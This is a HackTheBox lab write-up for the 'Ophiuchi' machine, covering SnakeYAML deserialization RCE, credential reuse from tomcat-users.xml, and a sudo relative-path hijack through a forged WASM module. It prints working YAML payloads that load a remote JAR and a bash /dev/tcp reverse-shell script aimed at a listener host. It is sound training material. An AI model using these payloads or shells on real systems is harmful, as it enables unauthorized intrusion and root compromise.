HTB: Ophiuchi Writeup

Ophiuchi - HackTheBox Writeup

Machine Information

AttributeDetails
NameOphiuchi
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Ophiuchi exposes only SSH and a custom Tomcat-hosted Java web app on port 8080. The app’s “Parse YAML” feature deserializes attacker-supplied YAML through SnakeYAML’s unrestricted Constructor, allowing arbitrary Java class instantiation and, via a ScriptEngineManager/URLClassLoader gadget, remote code execution as the tomcat service account. From there, Tomcat’s own realm configuration file leaks a password reused for SSH as a second user. Sudo rights on that user allow running a Go program that loads a WebAssembly module and a shell script by relative filename rather than absolute path — forging both files and dropping them where the sudo command actually executes hijacks the privileged run and yields a root shell.

TL;DR: Nmap (22, 8080) → Tomcat “Parse YAML” /Servlet endpoint → SnakeYAML insecure deserialization (CVE-2013-7285) → ScriptEngineManager/URLClassLoader gadget loads malicious JAR → RCE as tomcattomcat-users.xml leaks admin credentials → SSH as admin → NOPASSWD sudo on go run /opt/wasm-functions/index.go → relative-path main.wasm/deploy.sh hijack → forged WASM info() export + malicious deploy.sh in /tmp → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep
nmap -sC -sV -T4 -p- <TARGET_IP>

Results:

  • 22/tcp — OpenSSH
  • 8080/tcp — Apache Tomcat, hosting a custom Java web application

No other ports were exposed — the entire attack surface for the foothold is the Tomcat app.

Service Enumeration

The Tomcat application on 8080 presents a “Parse YAML” / online YAML-parser feature backed by a servlet (/Servlet). The page accepts arbitrary YAML input and echoes back a parsed representation, which is the classic signature of a Java backend feeding user input straight into a YAML deserializer — SnakeYAML, jYAML, or YamlBeans are the usual suspects behind this kind of feature.

Vulnerability Assessment

  1. The /Servlet endpoint parses attacker-supplied YAML server-side with SnakeYAML, using its default Constructor rather than a restricted SafeConstructor.
  2. SnakeYAML’s default Constructor honors !!fully.qualified.ClassName [...] type tags and will instantiate essentially any class on the classpath with attacker-chosen constructor arguments — this unrestricted-instantiation behavior is tracked as CVE-2013-7285 and is the root cause of the deserialization RCE class of bugs against SnakeYAML-backed YAML parsers.

Initial Foothold

SnakeYAML Deserialization → RCE as tomcat

The exploit chain abuses two nested !!-tagged object instantiations: a java.net.URLClassLoader pointed at an attacker-hosted JAR, wrapped inside a javax.script.ScriptEngineManager. When ScriptEngineManager is constructed, it uses Java’s ServiceLoader mechanism to scan every JAR on its classloader for a META-INF/services/javax.script.ScriptEngineFactory entry and instantiates whatever class is registered there — meaning code placed in that factory’s constructor runs immediately, with no need to invoke any further method. This is exactly the mechanism the artsploit/yaml-payload PoC packages up.

# Blind-callback test payload — confirms the deserializer resolves an attacker-controlled URL
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://<listener_ip>:8000/"]
]]
]

Submitting this to /Servlet while a local HTTP listener runs confirmed the callback fired, proving the deserializer was reachable and unrestricted.

Terminal window
# Confirm the callback
python3 -m http.server 8000

With interaction confirmed, the artsploit/yaml-payload PoC was cloned and its AwesomeScriptEngineFactory constructor was edited to drop and execute a reverse shell instead of the stock PoC behavior. The target runs Java 11, so the payload had to be compiled to a matching classfile version — compiling with the local JDK’s default target produced a newer classfile version than the target JVM could load (UnsupportedClassVersionError), silently killing the RCE. Recompiling with an explicit --release flag fixed it:

Terminal window
# Match the target JVM's classfile version (target runs Java 11) —
# otherwise the JAR loads but the JVM refuses to initialize the class
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
# Serve the malicious JAR
python3 -m http.server 8000
Terminal window
# Catch the callback — a FIFO-backed listener keeps the reverse shell
# interactive even when driving the exploit from a non-interactive jump host
mkfifo /tmp/f
nc -lvnp 4444

Submitting the second-stage YAML payload against /Servlet triggers the class load and executes the constructor of the malicious ScriptEngineFactory:

# Loads the malicious JAR — its ScriptEngineFactory constructor fires on load
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://<listener_ip>:8000/yaml-payload.jar"]
]]
]

This returned a reverse shell as the tomcat service account.

Terminal window
cat user.txt
# <redacted>

Privilege Escalation

Lateral Movement: tomcatadmin

Tomcat’s realm/credential file for the Manager and Host-Manager apps sits under the install directory and is readable by the service account that runs it:

Terminal window
cat /opt/tomcat/conf/tomcat-users.xml
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Tomcat config files routinely store credentials in cleartext, and admins commonly reuse the Tomcat manager password elsewhere. Testing it against SSH confirmed the reuse:

Terminal window
# Password reuse — Tomcat manager creds are also a valid Linux login
ssh admin@<target_ip>
# Password: whythereisalimit

adminroot: Sudo Relative-Path Hijack via Go + WASM

Terminal window
sudo -l
User admin may run the following commands on ophiuchi:
(root) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

index.go loads main.wasm, calls its exported info() function, and only runs deploy.sh if that call returns "1":

// /opt/wasm-functions/index.go (relevant logic)
bytes, _ := wasm.ReadBytes("main.wasm") // relative path
instance, _ := wasm.NewInstance(bytes)
init := instance.Exports["info"]
result, _ := init()
if result.String() != "1" {
fmt.Println("Not ready to deploy")
} else {
out, _ := exec.Command("/bin/sh", "deploy.sh").Output() // relative path
fmt.Println(string(out))
}

Both main.wasm and deploy.sh are referenced by relative path, and the sudoers rule doesn’t pin a working directory — go run resolves those relative paths against whatever directory the command is invoked from. Placing forged copies of both files in a writable directory and running the sudo command from there causes it to load attacker-controlled files instead of the real ones in /opt/wasm-functions.

The real main.wasm’s info() export always returns 0 (never “ready to deploy”), so a replacement module was built with wabt’s wat2wasm (installed on the jump host) whose info() unconditionally returns 1:

;; main.wat — forged module: info() always reports "ready"
(module
(func (export "info") (result i32)
i32.const 1
)
)
Terminal window
# Build wabt on the jump host (not preinstalled)
git clone --recursive https://github.com/WebAssembly/wabt
cd wabt && mkdir build && cd build && cmake .. && cmake --build .
# Compile the forged module
./wat2wasm main.wat -o main.wasm

A malicious deploy.sh root reverse shell was written alongside it:

/tmp/deploy.sh
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/<listener_ip>/4444 0>&1'

Both files were dropped in /tmp (writable by admin), then the sudo command was invoked from that directory so go run resolves the relative paths there instead of /opt/wasm-functions:

Terminal window
chmod +x /tmp/deploy.sh
cd /tmp
sudo /usr/bin/go run /opt/wasm-functions/index.go

index.go loaded the forged main.wasm, info() returned 1, and it shelled out to the forged deploy.sh — as root:

Terminal window
cat root.txt
# <redacted>

Attack Chain Summary

Nmap (22, 8080)
→ Tomcat "Parse YAML" /Servlet endpoint
→ SnakeYAML insecure deserialization (CVE-2013-7285)
→ ScriptEngineManager / URLClassLoader gadget loads malicious JAR
→ RCE as tomcat
→ tomcat-users.xml leaks admin:whythereisalimit
→ SSH as admin (password reuse)
→ NOPASSWD sudo: go run /opt/wasm-functions/index.go
→ relative-path main.wasm / deploy.sh hijack
→ forged WASM info()=1 + malicious deploy.sh dropped in /tmp
→ root

Tools Used

ToolPurpose
nmapPort scanning
python3 -m http.serverServing the malicious YAML-payload JAR / catching callbacks
javac / jar (JDK)Recompiling the yaml-payload gadget for the target’s Java 11 runtime
artsploit/yaml-payloadSnakeYAML deserialization RCE PoC (ScriptEngineFactory gadget)
nc + mkfifoCatching an interactive reverse shell from a non-interactive jump host
sshLateral movement via reused Tomcat manager credentials
sudo -lEnumerating privilege escalation vector
wabt (wat2wasm)Forging a replacement WebAssembly module
bashReverse shell payloads

Key Learnings

Techniques Practiced

  • YAML/SnakeYAML insecure deserialization (CVE-2013-7285) via ScriptEngineManager/URLClassLoader gadget chain
  • Matching a recompiled Java gadget’s classfile version to the target JVM (javac --release)
  • Harvesting reused credentials from Tomcat’s tomcat-users.xml realm file
  • Identifying and abusing a sudo rule that resolves script/binary references by relative path
  • Reverse-engineering and forging a WebAssembly module’s exported function return value
  • Using a FIFO-backed listener to keep a reverse shell interactive from a non-interactive jump host

Lessons Learned

  1. SnakeYAML’s default Constructor will instantiate arbitrary classes from !!tag syntax — any app that parses untrusted YAML must use SafeConstructor or an explicit type allowlist.
  2. A recompiled Java exploit JAR must target the same classfile version as the victim JVM, or the class silently fails to load and the RCE appears to do nothing.
  3. Application config files (Tomcat realm files, in this case) are a prime early-foothold target for cleartext credentials that often get reused across services like SSH.
  4. Sudo rules that reference a script or binary via a relative path are exploitable by controlling the working directory the command is invoked from — always audit sudo -l output for absolute vs. relative paths.
  5. When application logic branches purely on a WASM module’s exported function return value, the module can simply be reverse engineered and rebuilt to force the desired branch.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — Ophiuchi (Document No. D21.100.122, prepared by PwnMeow, released 24 June 2021) — used only for explanatory context on the SnakeYAML deserialization mechanism and the Go/WASM privilege-escalation logic; all IPs, commands, outputs, and credentials in this writeup are from the author’s own solve.